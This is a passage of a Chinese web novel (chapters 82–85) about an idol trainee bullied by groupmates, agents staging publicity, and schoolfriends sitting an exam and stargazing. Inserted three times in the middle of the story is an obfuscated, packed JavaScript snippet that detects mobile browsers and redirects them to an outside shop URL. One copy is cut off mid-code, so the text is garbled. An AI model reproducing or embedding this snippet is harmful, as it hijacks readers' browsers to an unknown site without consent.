陈影跟在赵焰后面。 钱明哲低头坐在墙边玩手机,好像一个字也没听见。 而顾安,走到了练习室门口,时不时对着走廊那边张望一下,仿佛是在放风,怕此时此刻昏暗的练习室里这些见不得光的事情被人看见,暴露在阳光下。 …… 楚恒模模糊糊地看着门口,顾安沉默的身影。 脑中不知为何突然浮现出三年前的一些极其破碎的记忆片段。 也是在这间同样的练习室,还没出道时的练习生考核,严格控管体重。 下课后肌肉酸疼,腹中饥饿,楚恒想随便吃点巧克力,顾安也是如今天一样,站在练习室门口,朝走廊张望,给自己放风。 “楚恒!快点吃,马上老师就来了。” ——两个身影隔着一千个日夜重叠起来。 他推开赵焰,倒到旁边,大声呕吐了起来。 82. 第 82 章 赵焰惊讶地看着地上蜷缩成一团的人,立刻弹开,厌恶地踢了两脚。 “真恶心。” 可是过了一会才发现,地上那人大口呕吐了很久,却什么也没有吐出来,地板上依然空荡干净。 他这才站起身,嫌恶地看了一眼地上的人,和其他人一起出门离开了。 …… 灯被关了。 楚恒眼前一片昏暗,一个人躺在坚硬的地板上,干呕到意识有些模糊。 胃里空荡荡得难受,他流出了生理性眼泪。 手边躺着一瓶刚刚争执中滚落的矿泉水,他缓慢地伸出手,慢慢握住,打开了盖子。 此时此刻,却十分突兀地想起了几句话。 “谢谢你的水。” “还有,你唱歌非常好听。” “以及,你长得也特别好看。” 是她说的。 楚恒此时此刻的脑子里,全都是他和黄怀予第一次见面的时候,黄怀予在路边抱着大树的场景。 她当时吐得很厉害,胃已经痉挛,却只能吐出酸水。 头发湿哒哒地贴在额头,脸色苍白但是脸颊通红,嘴唇微微颤抖,眼睛都睁不开,却用力抱着旁边的树干。 样子很滑稽。 很脆弱。 ……很可爱。 他坐在冰冷的地板上,看着手里的矿泉水,竟然低低地笑出了声。 * 12月15号,新娱公司自制综艺第二期正片播出。 赵焰信心满满,一天之内在微博上线了五十多次,前后三天发了十几条微博,找UNIVERSE的Levi各种合照自拍,甚至还借着UNIVERSE的海外名气,在IG也常常出现在Levi的评论区互动。 ……然而,节目开播,却悄无声息地扑了。 播放量和点击量相较于第一期几乎等于腰斩,所有舞台视频的点赞量也远远低于第一期。 而在第二期里的几个小分队舞台中,也只有沈一瑾和SOLAR的某一位成员的双人舞台因为有粉丝的讨论而高居第一名。 至于后面的,完全断层。 赵焰不死心,连夜编辑了一条练习室视频,整个视频光线、布景几乎都和第一期沈一瑾楚恒那个爆掉的练习室视频一模一样。 然而,却依然毫无水花。 …… 梁吟东看着第二期反馈上来的数据结果,心里隐隐有些失望。 公司里团队其他成员也都不禁感叹,果然到了最后还是沈一瑾的唯粉最能打,又成功靠着第一期的CP大出圈再次吸了一大波粉,再加上之前舞蹈挑战“虐粉”得来的一群怜爱路人粉…… 火上加火。 但是其他人,转化率实在太差。 运营开始着重推赵焰和Levi的舞台,一下子买了三个热搜。 但是实际讨论度低,基本都是Levi粉丝在洗广场,赵焰依然没什么关注度。 就这样推了好几天,终于引起了一部分人的不满,吃瓜路人和沈一瑾粉丝也开始疯狂吐槽: “天天买热搜,占据公共资源,烦不烦?” “这谁?不认识。” “只知道沈一瑾,皇族强推遭天谴。” * 过了几天,某八卦论坛上的那篇精品帖,又开始重新更新了。 “星3和星4什么情况?” “综艺第二期被分到一队,全程无交流。CH还冷着一张脸,好像GA欠他八百万一样。” “GA也没什么好脸吧。两个人感觉很尴尬的样子。” “怎么感觉又是一篇可以收录进《男团学》的帖子……” “之前不就说星1和星3关系就不好?之前舞蹈挑战的事已经撕过一轮了,只不过星都糊,都没什么粉丝撕逼。但是之前那篇《男团学》就感觉CH很孤僻,在团里没什么朋友。” “星还真是庙小妖风大,一个这么糊的团能拉出来这么多八卦也是够够的了。” “早就想说了!星3每天摆一张臭脸到底给谁看啊!之前跟沈一瑾合作那个舞台,虽然爆了但是也是全程都没什么交流。” “楼上的走开啊!星3如果和沈一瑾有交流我才要杀了狗娱好不好!让我女儿给糊咖抬咖已经算给的同情分了,这还是看在沈一瑾自己愿意而且星3路人缘还不错的情况下的。” “如果星3主动来蹭,我就立刻骂死他。” “莫cue,反正这个破节目美美飞升的只有沈一瑾,瑾粉又爽了。” “卧槽,之前有人说沈一瑾和星3炒CP是为了转型接戏的,本来我还不信,现在……还真有人说沈一瑾已经进组了……” “男主是谁?是谁都不准是星1!我家和他不共戴天之仇!” “……好像还真是星1。也不知道怎么找到星1那里去的。” “操!还能因为什么,皇族抢资源也不是这一次了!宁愿让星3来,起码长得赏心悦目。” “这个帖已经彻底没救了,全面被瑾粉入侵了已经,居然还标榜路人楼,你自己看看你客观吗?” 帖子一下子被顶到了首页,讨论的人越来越多。 新娱公司公关部也注意到了这个帖子。基本的观点都涉及STAR和MOON,有人觉得楚恒冷漠孤僻导致和队友关系不好,有人觉得顾安耍脸色,有人觉得赵焰皇族抢资源。 只是,工作人员观察了一段时间,终究没有掀起什么水花,纷纷扰扰也慢慢平息,讨论量也慢慢下去了。 因此,这也就导致,综艺第二期播出后的所有内容和话题,都是围绕着沈一瑾的。 …… 明红这几天红光满面,谁都看得出来她高兴得不行,每天都请客吃下午茶。 梁吟东在被明红连续请客第三天之后,终于忍不住了,无奈摇头。 “你现在满意了吧?” “满意啊。太满意了。” 明红慢条斯理地拿起桌上的咖啡,说话颇为凡尔赛。 “怎么办呢,就她上来了。” “梁吟东,我说话你可别不高兴啊,反正我们MOON跟你家STAR也不是竞品关系,是合作伙伴关系。” 梁吟东笑了。 “就知道你一开始就没安好心。综艺就是你一手提出的,还说什么为了后续练习生发展,还说尝试CP新营业模式,都是假的。” “哎?这怎么叫没安好心?” 明红摇摇手指。 “这叫策略。” “是,这个局一开始就是我攒的,就是为了给小瑾转型。” “只要能做到这个,后续商业价值还不是水涨船高?对公司也没坏处啊。至于其他那些练习生发展、新的商业模式……为了让上面同意,我可是费尽心思,不把策划书做得好看点怎么行。” 看着面前明红一脸得意的样子,梁吟东不由得感叹一声。 “你可真厉害。” “现在怎么样了?” “好得很。”明红笑眯眯的,“之前那个网剧已经杀青了。不出意外,明年六月之前能播。这次第二期和SOLAR的合作舞台也热度不错,走的轻熟风,看网上评价也都还可以。另外,之前那个网剧导演说很满意小瑾,是新人但是肯吃苦,帮着介绍了不少人。过几天我再带她去见几个制片人,估计手里这个项目也能谈下来。” …… 梁吟东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13552677|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不得不说,明红不愧是金牌经纪人。 她和明红共事十几年,但是两个人的风格完全不同。明红是那种为达目的不择手段的人,清楚地知道自己的定位,也清楚地能看清所有局势。 她也为沈一瑾热度提高的初步成功给感染,话里带了一丝笑。 “那沈一瑾和楚恒,你还炒不炒了?” 明红看她一眼。 “我家都升咖了,还炒个屁啊!” 两个人不约而同笑了起来。 在明红的推动下,策划再次转移重心,之后的节目台本中心都会围绕沈一瑾,把热度延续下来并且最大化。 一个一开始启动的时候说是为了开启新的偶像运作模式、展示公司家族情谊的综艺,到了现在,竟然已经莫名变成了单个艺人的独角秀。 梁吟东觉得有些好笑。这个行业就是这样,谁也不知道明天飞升的是谁。 她不知道为何,心里又觉得有些轻松。 “唉。看来,炒CP这条路也不行了啊。” 小宋愁眉苦脸地说。 “梁姐,纯靠舞台出圈的可能性太小了,接下来不炒CP的话,我们STAR还能做什么话题出来啊?” “不知道。” 梁吟东靠在座位上,看着天花板,幽幽道; “生死由命,富贵在天……” “做好自己,剩下的,看命运吧。” 没想到会得到如此一个玄学回答的小宋有点懵,她又嘟嘟囔囔问: “那楚恒怎么办?炒了一半说不炒了,他能同意吗?” 马上,小宋就听见面前那人发出一声轻笑。 “他?巴不得呢。” * “那今天就练到这里~” 舞蹈老师鼓掌结束,大家三三两两走出练习室。 楚恒弯腰拿水,才刚刚喝了一口,就立刻被人堵在墙边。 抬眸,看见赵焰阴沉的脸。 “又是沈一瑾。” “第二期所有舞台,播放量第一名又是沈一瑾。” 他居高临下地看着楚恒,咬牙切齿。 “挺会买热搜啊,怕不是N个营销号轮番上吧。” 楚恒皱了皱眉,与他无关的事情他完全不想关心,垂头就想离开。 “你和顾安那个舞台合作下来感觉怎么样?” 赵焰突然在身后叫住他。 “不妨告诉你,是我安排的。” “后面网上那些关于你和顾安关系的讨论,我也推了一把。” “结果,才几天过去,又被沈一瑾盖过了风头。” 他似乎怒不可遏。 “是梁吟东和明红让人做的吧。” “嘴上说着那么清高,转眼还不是让别人帮你在网上解决?” 他紧紧盯着前面那人高挑瘦削的背影,想象着那人会是什么反应。 知道了是他做的,很生气? 还是把沈一瑾当成抢走热度和话题的潜在对手? 等了好几秒,却见那人动也没动,头也没回,手里拿着手机,就准备拉开门走出去。 ……又是这样一副丝毫不关心不在意的样子。 ……偏偏就是赵焰最讨厌的样子。 他精心安排的自己的CP话题扑了,就连故意安排顾安和楚恒的黑话题也沉了下去,所有水花都被沈一瑾一个人抢走了。 而最令他生气的是,楚恒本人竟然看上去完全不在乎。 以前是独来独往,现在却整天拿着手机,像是被什么迷住了,永远在盯着手机屏幕看,没人知道他在想什么。 赵焰脸色阴沉地在练习室里坐着。 楚恒到底在干什么? 83. 第 83 章 网上腥风血雨,但是黄怀予完全没关注。 她此时心心念念的,只有八校联考。 这是云省八校联盟组织的内部考试,可以在八所学校中直接排出排名,测试学生的能力,并提供最新的题目动向。 马辉最近也一直在强调八校联考的重要性,黄怀予和苏琬两个人每天头都没抬过,几乎到了废寝忘食的地步。 谷奕猛然想起前段时间在马辉面前夸下的海口,这才意识到不对劲,去问了白度,结果得到了一大串堪比龙卷风过境的夸张描述。 “何止是很难,那是非常难!” “何止是竞争激烈,那是竞争惨烈!” …… 平行班内部格差太大。 前排撑着身体去洗冷水脸,埋在山高的书本和卷子里,冻得僵硬的中指畸形地生长,擦了又擦的粉笔灰飘散在空气里最后蒙在眼镜上,遮住了少年人看世界的眼睛。 后排女生坐在男生腿上,互相看着对方的眼睛,在暖意融融夹杂着闷臭的空气里额头相抵,视线相接一路火花闪电滋滋作响,偷得十分钟互慰十七岁满到溢出来的的荷尔蒙。 一层楼四个班,一栋楼五层。 密密麻麻的黑色人头,像罐头厂的沙丁鱼,像小岛监狱的囚犯,用着青春的身体,在操场上歪歪扭扭地跳《雏鹰起飞》。 蓝天白云,红旗飘飘,冬日漫漫,梦想飘渺无边。 * 交卷铃声响起。 八校联考最后一门科目结束。 谷奕垂下手指,盯着面前一大片接近空白的答题卡。下一秒答题卡被前排人无情地收走,他沉沉地叹了一口气。 以为自己入门了。 以为自己有进步了。 以为自己真的和她们是一样的了。 周围人纷纷收拾东西起身,拖拽间噪声巨大。 人影憧憧中他一动不动坐在座位上,修长的手指有一搭没一搭地敲着桌子,垂着头,满脸失魂落魄。 ……答应马辉的承诺做不到,连现在已经有的名次可能也要后退很多。 他遥遥望着教室前方的挂钟,目光悠远,像是一直穿越墙壁到了301班教室。 ——熟悉的摆设,熟悉的黑板,熟悉的座位,座位上熟悉的两个女生。 然而眼前却好像隔着重重屏障,永远也碰不到她们。 …… 苏琬这段日子不知道在捣鼓什么,睡也不睡,每天困得像幽魂。 再加上准备八校联考,这下连饭也不吃了,今天到现在下午五点半愣是粒米未进。 她去搬桌子,身体晃晃悠悠,还没抬起来就被一双大手一把端了起来抢了过去。 “你怎么了?” 她抬头,对上一双锐利长眸,那人剑眉皱了起来,紧紧盯着她。 “……没事。” 苏琬遮掩般地笑笑,拉过旁边的黄怀予,“我们先去一下厕所,你在门口等我们。” …… “吃午饭了没?” 黄怀予站在女厕所洗手池,对着里面喊,声音颇有些兴师问罪。 半晌,里面才传出一阵弱弱的回答: “……没吃。” “苏琬!” 黄怀予生气了,下一秒就看见隔间的门打开,苏琬慢吞吞地走出来。 她定睛一看,发现苏琬走路时有些脚步虚浮,脸色苍白。 “你!” 黄怀予气冲冲地走上前,一把扶住她,慢慢走到洗手池的位置。 “你怎么能不吃饭!八校联考是很重要但是身体也很重要!” “让你别学了,吃饭就半个小时的事能耽误你什么!” 噼里啪啦炮语连珠,黄怀予看着她额头上细密的汗珠,以及还在欲盖弥彰的勉强笑容,就气得不打一处来。 右手紧紧扶着她,搂住她的腰的时候,黄怀予这才发现,几乎到手腕处就能完全搂完,细得不敢相信。 黄怀予力气一向很大,现在苏琬整个人的重量几乎都压在了她身上,然而这样黄怀予也觉得她轻得像一片羽毛。 她咬牙,“等会一定让你好好多吃一点……” 话音未落,怀里的人竟然像一片纸一般滑了下去,直接晕倒在她怀里。 “苏琬!” 黄怀予顿时慌了,对着门外大叫:“大傻!” 下一秒,一个高大的身影就立刻冲了进来,带着急切与压迫。 “……”黄怀予看见那人宽阔的身影就突然有了安全感,一下子松了一口气,“她晕倒了!” 谷奕身形一颤。背着光,黄怀予看不清他的表情,只看见他迅速冲了过来,两只有力的手臂紧紧箍住她怀里软趴趴的人,发力时手臂肌肉线条极其明显,一下子就轻松把人背到背上。 谷奕把人背到了教室。 黄怀予在抽屉里扒拉半天,找出了上次吴如冬送她的巧克力,迅速拆了一块塞进了苏琬嘴里。 一路上好几个同学围观,都有些焦急地等在旁边,如果发现情况不对就决定立刻上楼去找老师。 几分钟之后,苏琬眼睫突然颤动,缓缓睁开了眼睛。 “……太好了,没事就好没事就好。” 围观人群纷纷散去。 “吓死我了。” 黄怀予一把搂住苏琬的脖子,差点哭出来。 “你怎么能不吃饭呢!” “你肯定低血糖了!” “……没关系。这不是好了吗。”她虚弱地笑笑,感受到一旁的低气压,抬眼就看见旁边谷奕紧抿的薄唇和绷紧的下颌线。 苏琬迅速被两人架着,不由分说去了学校对面最豪华的餐馆。 谷奕沉着脸叫来服务员,看也没看,直接把菜单上所有的荤菜全部点了一遍。 …… 在黄怀予的再三逼问下,苏琬才终于顶着两人压迫的眼神,无奈承认了自己做家教的事。 “平常要看初中知识备课,还要找一些好的教辅资料和卷子,晚上就不能早睡了。周末白天去家教,晚上学习。最近八校联考,学习时间不够,才会压缩吃饭时间。” 黄怀予非常愤怒,觉得苏琬完全不把自己的身体当回事。对于她这种一顿能吃五盘菜的人,她实在无法想象,都把自己饿到瘦成这样、到最后都晕倒了的地步,是得饿了多少顿? ……苏琬为什么要这样? 黄怀予顿了一下。 跟苏琬认识这么多年,她们两个人之间早就没有任何秘密,所有家庭情况全都一清二楚。 还能因为什么呢。 她很想发火,可是火气到了嘴边又被咽了下去。她突然觉得自己十分没立场。 哪怕是她和苏琬之间这样的关系,也绝对做不到100%的位置互换和理解。 不是她,就永远不会懂她的心,她的想法,她的情绪,她在这样的情境下的身心体验。 黄怀予沉默。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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没想到帮苏琬谷奕谈合作还有这种意外之喜! 她立马化身对着阿瑟喊话的陈红:“这真是好大的惊喜!” * 八校联考成绩出来了。 果然如同谷奕的预料,他直接倒退到了108名。 而黄怀予,在一个月的努力下,终于重回全班第一,年级第七名。 苏琬全班第二,年级第十名。 成绩出来的那一瞬间,黄怀予终于松了口气。 她看着手机里很久没有打开过的微博APP图标。 ——其实马辉还是很了解她的。 她和苏琬杨捷她们不一样。她基础足够扎实,成绩猛,进步强,但是没有苏琬努力,心态也没有苏琬平稳,很容易被影响和调动。 而苏琬,从初中到高中,谈恋爱一个不落,甚至八校联考当天都低血糖晕倒了,都完全没影响她的考试发挥。 “唉。没那个金刚钻,还是别揽瓷器活。” 黄怀予低头,看着书包上挂着的那个嘻嘻哈哈的小太阳。 没那个本事能保证不影响成绩,还是压抑压抑自己的荷尔蒙吧。 毕竟对于她现在而言,没有什么比高考更重要。 84. 第 84 章 为了督促谷奕考到年级前90名,苏琬制定了一个密集的学习计划。 谷奕在席间夸下海口,可是两天后就立刻苦不堪言。 ——他已经被苏琬表现出来的非人的意志力给击败了。 九月份刚入校的时候,他底线低,所以随随便便学学就有很大进步。但是现在已经到了瓶颈期,只能时时刻刻跟着苏琬一起,过着她的作息,用以前三倍的努力去学习。 至于苏琬,她根本不觉得这有什么。 她一直都是这样的学习劲头,以前高一的时候,还会在黄怀予周末想去室内逛逛街休息一下的时候拉她去图书馆,还会在她玩手机沉迷黄文的时候教育她不要纵欲过度。 对于前一两个月里,又是骨折受伤又是满楚门奔波还只能挣800的经历来说,给谷奕补习一周三千简直就是上天的恩赐。 ——收钱就得办事,她更是倍感肩头责任与使命。 …… 周日,楚门市图书馆。 谷奕中午吃完饭才终于被恩准有了一点休息时间,立刻偷偷溜到厕所,给黄怀予发消息。 “杯姐,快来救我!” 黄怀予听说两人现在正在图书馆,立刻背着书包兴冲冲地去看热闹,远远就看见自习区那两人熟悉的背影。 右边一个女生,挺着肩背,平静地低头写字。 左边边一个男生,大高个,坐着都显得高高壮壮的,歪七扭八地瘫在桌子上,两只大手插进头发里胡乱一通揉,只看背影都能看出来一股痛苦和煎熬。 黄怀予捂着嘴,在柱子后面笑得快死了。 眼见黄怀予来了,谷奕像是看见救世主,“蹭”地一下就挺起背,表情极度委屈,疯狂控诉昨天居然和苏琬一起学了十三个小时。 “十三个小时多吗?” 苏琬平静开口。 “一共有六门课,每一门平均下来才两小时,每一门的每一本教材平均下来才十分钟。” 谷奕:“我真的一滴也没有了。” 黄怀予用力拍他一下:“别开车,严肃点。” “什么!”谷奕愤怒地举起手里的笔,“我说的是前几天才刚刚新换上的笔芯!” “才两天,又用完了!” 黄怀予瞥他一眼:“谁让某位大公子如此挑剔,笔芯都要用指定牌子的指定图案,还只有网上能买,咋的,要是快递不到货你就不写字了呗?” 谷奕被气得说不出话。 “……我,我难道不能有点自己的坚持吗!” “我就是用惯了这个笔芯,别的都太丑了!光秃秃的,什么图案都没有,看着难受!” 黄怀予有时候真的觉得谷奕非常臭美,虽然外表四肢发达又高又壮满身肌肉像个巨人,但是浑身都喷香水,头发每天出门前一定要用发胶抓,隔着三米都能闻到香味。 错题本必须用封面好看的,笔袋里有七种颜色的荧光笔,就连笔芯都只用指定牌子指定花纹。 …… 苏琬从身下的书包里掏啊掏,掏出两盒东西,扔在谷奕面前。 “用吧。” 黄怀予定睛一看——两盒梦想牌全针管0.5mm黑色笔芯,没有任何图案和装饰,全透明,一盒20根,两盒一起30块。 “这才对嘛!我们小镇做题家,都用这种。” “量大,管饱,两天就用完一根,一次买两盒。” 谷奕在旁边一左一右两个比他矮两个头的女生温柔的笑意里,十分憋屈地抽出了一根。 苏琬见他浓眉皱了起来,黑乎乎的瞳孔里闪着受伤的神色,嘴角十分委屈地撇着。 两只大手把笔杆转了下来,动作慢吞吞的,手背上蜿蜒的血管似乎都体现着一股不情不愿。 ……终于换上了。 “成功!” 苏琬小声鼓起掌。 黄怀予也小声鼓起掌。 “……别鼓了。” 他坐在两人中间,扶着头,小声开口,耳根都有些红。 ——虽然让他用这个笔芯是很委屈,但是也用不着换一根笔芯就鼓励成这样吧! “你们把我当狗?听指令就夸。” 他嘟嘟囔囔地说。 结果下一秒,头顶就多了一双柔软的手,轻轻摸了摸他凌乱扎人的发顶。 “克服了以前的习惯,当然要鼓励。” “很棒。” “休息好了吗?再学三小时吧,把这张卷子做了。” 苏琬温温柔柔的声音在耳畔响起。 “……” 谷奕一下子像触电般不动了,浑身烫得像一只煮熟的虾。 “……操。” 他低声骂了一句,低着头抿紧唇,捏着那支笔,乖乖做起了卷子。 * 12月25日,一年一度的圣诞节。 圣诞节在高中生群体里有着极其广阔的号召力,在冬天,红绿配色,自带浪漫光环,临近元旦可以理所应当玩一玩。 各个班之间都很流行送圣诞贺卡,人脉广的同学甚至早晨一到学校就开始拿着一摞贺卡,像发作业一般满教室发。 圣诞节还有一个不成文的规定,就是晚自习会在班上看电影。 这天周一,正好是英语晚自习。英语老师十分大方地直接让关了灯,开始放英文电影。 黑乎乎的教室里偶尔闪过几道光,后排体育生低着头在黑暗中开黑,前排女生趴着看投影仪上放的《寻梦环游记》,哭得稀里哗啦。 …… 黄怀予拿上桌子上的奶茶,猫着腰在黑暗中溜出了后门。 等了几分钟,就看见两个同样姿势的人也拎着奶茶溜了出来。 三人对视一眼,黄怀予大手一挥:“走!” 正在晚自习上课期间,教学楼走廊空空荡荡,所有人都在教室里。 三个人大摇大摆坐电梯上了七楼,又爬了一层楼梯,来到了天台。 没有灯,黑乎乎一片,大门全是铁锈,吱呀呀地响,门上一把旧锁,锁上布满灰尘。 苏琬:“好像锁了。” 黄怀予一笑:“没呢!” 谷奕:“为啥?” 黄怀予:“因为,这锁是我上的。” 她轻轻一抬,锁立刻掉了下来,发出一声清脆的响声。 “这地方是林老师发现的。最初就是这样一把锁不上的旧锁,大家都以为是锁住了,但是林老师发现没锁。于是她就老是一个人上来。” “后来,她告诉了我。她已经转移战场去了楼梯间,所以这个地方,就由我继承了。” 大铁门“吱呀——”打开,灰尘四溅,冷风瞬间嚣张着扑面而来,把三个人刺得一哆嗦。 黄怀予“噔噔噔”跑出去,张开双臂,仰头。 “有星星!” “今天白天是晴天,星星好多!和我们爬鸡鸣山那天的星星一样多呢!” …… 空气冷冽而清新,拂过脸颊带来一阵浸透骨子的刺痛。鼻间呼出潮湿温热的白气,丝丝缕缕上升。 夜空低垂,仿佛距离极近,像一片被深色绸缎遮蔽的画布,一路绵延到世界的尽头。黑墨般深沉的夜空,却点缀着浩如烟海的星辰,点点洒落如钻。 小小的星球,在宇宙里沉默地旋转,亿万年周而复始。 谷奕在地上铺了一层厚厚的野餐布,三个人随意坐在地上,手捧着奶茶,抬头望着星星。 空气安静,无人说话。夜幕沉沉地往下压。 “大傻。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573832|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黄怀予突然开口。 “你不是对星星很有研究吗?” 她随手指着夜空的某个地方。 “这里有你能认出来的星星嘛?” 后方呼吸声动了动,随后传来那人懒洋洋的低沉声音。 “有啊。” “看见那边那三颗很亮的星星没?排成一条线,从左下到右上,斜向上指着。” “那是猎户座的δ星、ε星和ζ星。” “中国古代叫参宿一、参宿二和参宿三,传说中的‘福禄寿’三星。” …… “真的吗!” “在哪在哪!” 两个女孩子一下子兴奋起来,谷奕唇角微勾,给她们指方向。 苏琬和谷奕离得近,而且眼神好,一下子就看到了,兴奋地拍着他的手臂:“啊啊啊!在那!我看到了!” “在哪!在哪!我怎么看不见!” 黄怀予在旁边急得抓耳挠腮,三个人里就她一个人近视戴眼镜,还有点夜盲,到了晚上视力完全不如她们。 “在这。我给你指。”谷奕淡笑着安慰她,坐到她旁边,伸出长臂指向夜空的方向。 “看见没?那三个。很亮的。” “啊……还是找不到……” 满眼全是小小的亮亮的星星,她完全分辨不出来,很是沮丧。 谷奕笑着看她一眼:“笨死你算了。” “大傻!”黄怀予暴怒,用力锤他。 “错了错了杯姐。”谷奕被捶得坐回原地,下一秒黄怀予张牙舞爪的拳头就被一只白皙柔软的手给接住。 “好啦我给你指。” 苏琬坐到黄怀予身后,抱住她的背,把她整个人包住,从旁边看像是黄怀予整个坐在了她的怀里。 她牵起黄怀予的手臂,指向了夜空的某一个方向。 “在那。看见了吗?” “三个,很亮的,从左下到右上,斜着上去的。” “……哦。哦哦哦哦!看见了!三个!对不对!从左下到右上,一条斜着上去的!对不对!” 后方传来谷奕慢条斯理的轻笑声:“你复读机啊你。” …… “好神奇啊。” 黄怀予盯着夜空喃喃。 “我就只知道北斗七星。现在有北斗七星吗?”苏琬在一旁问。 后方停了几秒钟,谷奕像是认真找了一会。 “没有。” “斗柄东指,天下皆春;斗柄南指,天下皆夏;斗柄西指,天下皆秋;斗柄北指,天下皆冬。” “北纬40度以北,能常年看见北斗七星,以南就不一定了。” “北纬40度?”黄怀予插话,“那就是帝都?” “是。” 谷奕顿了一瞬,突然长长地呼出一口气。 “说到帝都,其实……我很想去长城看星星。” “观星要地势开阔,无遮挡的地方,最好是在郊区,远离光污染。” 他声音低沉,有些哑,慢条斯理讲着话。 “我在很多地方都看过,但是一直都想去长城看一次。” “那有什么难的。” 黄怀予翘着脚尖,晃晃悠悠,“我们高考完的暑假就去呗。” 后方沉默一瞬,谷奕的声音像是有些期待,“……可以吗?” 他默默转向右边,看着那个女孩淡雅娴静的侧脸,眸色有些深。 “……你们都会去吗?” “去啊!”黄怀予毫无察觉地喊。 “嗯。去的。”苏琬也带着笑点点头。 “……”他突然有些雀跃,掩饰下内心的激动,“那就说好了。我们三个人,高中毕业旅行。要,一起陪我去长城看星星。” 85. 第 85 章 冷风沉沉地飘过来,直往脖子里钻。 “一定要陪我去。” 他的声音很低沉,语气很执着,像是一定要管苏琬和黄怀予讨要一个坚定的不会改变的承诺。 “当然啦。答应你的就不会反悔。” 黄怀予半躺在野餐布上,翘起二郎腿,嘴里嚼着珍珠,说话含含糊糊。 这是她短暂热烈的人生信条,现在此时此刻没有任何烦恼,躺在天台喝奶茶看星星,思维在这一瞬间已经被净化了,就算谷奕说要她和他一起跳下去,她说不定也会为了那一瞬间的飞翔而同意。 她和谷奕一样,觉得承诺是一定可以实现的,是很容易就可以实现的,因为明天是未知的,她可以在明天做任何事。 …… 可是,承诺真的有那么大的力量吗? 这只是一句话。 想说就说,没有任何法律效力,全靠本人良心发现。就像冷风中呼出来的丝丝白气,飘渺就飞走了,什么也留不下来。 苏琬捧着手上的奶茶,仰头看着星空。 “那苏琬呢?” 那人很是执着,一定要一个一个攻克,得到最有力的保证。 她沉默几秒,没有回头,依然保持着仰视看星星的姿势。 “好。我答应你,一定会去的。” 她说话轻声细语,吐字清晰,像是哄人睡觉的幼儿园老师,而包容一切就是她每天都在做的事。她知道对方想要听什么样的答案,她也不吝啬地温柔给予。 而那人也终于像小孩子一样被安抚,心满意足地用力点头。 “Aswithin,sowithout;asabove,sobelow.” 黄怀予晃着脚尖,突然说道。 “我以前学哲学的时候查到的,中世纪的炼金术。” “大宇宙是自然,小宇宙是心灵。” “是不是还挺应景?” …… “中世纪的炼金术?那应该算得上宗教的一个源头?”苏琬猜测,“应该是用元素来解释世界,然后用元素之间的转化来提炼贵价金属?” “对对,差不多就这种流派。有点像道家炼丹。” 两人文科知识储备在同一水平,随口一猜就能把东西串起来。 “哎大傻!”黄怀予突然想到什么,兴冲冲地扭头朝后看,“你要是研究星星的话,你平常看占星吗?” “偶尔也看一点。” 那人坐在地上,长腿交叠,手臂撑着身子,额前柔软的头发虚虚晃在眉间。 “以前觉得虚无缥缈太玄学,后来发现还有点意思。” “就比如……” “其实我觉得,人就像星星一样。” 谷奕像是说到了什么感兴趣的话题,眼神突然认真起来,黑亮的眸子在暗夜里显得亮晶晶的。 “苏琬是月亮。” “地球的同步自转卫星,带来潮汐……希腊神话里的月亮女神阿尔忒弥斯。” 他的目光慢慢转向那个女孩,两人在沉默的夜空下视线相接,隐匿的水流涌现又静谧地飘散。 “哈?”黄怀予第一次听见这种说法,立刻开始举一反三,“那你是木星。因为你最大!” “……”谷奕气笑,“在你眼里我除了大还能不能有一些别的特点了。” “那你是什么!” “我是火星。” “那我呢?” “你是太阳。” ? 黄怀予一愣,“真的假的,你也说我是太阳?” 还有另一个人,也说她是太阳。 不过她似乎很快也想通了,“那也行,你们都围着我转吧!” 这东西就像星座和血型一样,随便测出什么结果都能让本人自己产生一种被研究的快感。 苏琬淡淡地笑:“我们三个都有?还有没有别人?” “别人……”黄怀予还没来得及思考,也不知道自己出于什么目的,脱口而出一句,“那楚老师呢。” 这句话一说出口,她才立刻发现自己在此情此景突然提到楚恒是一件多么怪异的事情。 如果要说别人,为什么不提白度?程朗?甚至杨捷林潇潇马辉? 话说出口她自己都愣了一下,下一秒就察觉到苏琬朝她看过来的意味深长的目光,差点把舌头咬了。 “楚老师?你说楚恒?” 谷奕像是没习惯她给楚恒起的这个外号,不过他很快就回答道:“冥王星。” 他声音飘飘荡荡,像是抓不住的风。 “PLUTO,矮行星,由岩石和冰组成。” 遥远的柯伊伯带,表面色差大,被发现又引来争议,被确立又被废除。 * 放在兜里的手机震了两下。 黄怀予掏出来一看,差点没吓死。 “卧槽!” “马辉问我们三个去哪鬼混了!” 三人对视一眼,俱在对方眼睛里看到惊恐。 苏琬:“班里电影看完了?” 黄怀予烦躁地抠头,“教室里这么多人,他怎么就能发现我们不在!我看星星还没看够呢!” 谷奕问:“他还说什么了?班上也不止我们不在教室里,要是他语气不严重,我们当没看到得了。” “他说……”黄怀予盯着手机屏幕,脸色有些古怪,“转告谷奕,让他记得自己说过的大话。” 两个女孩异口同声问:“你讲什么大话了?” 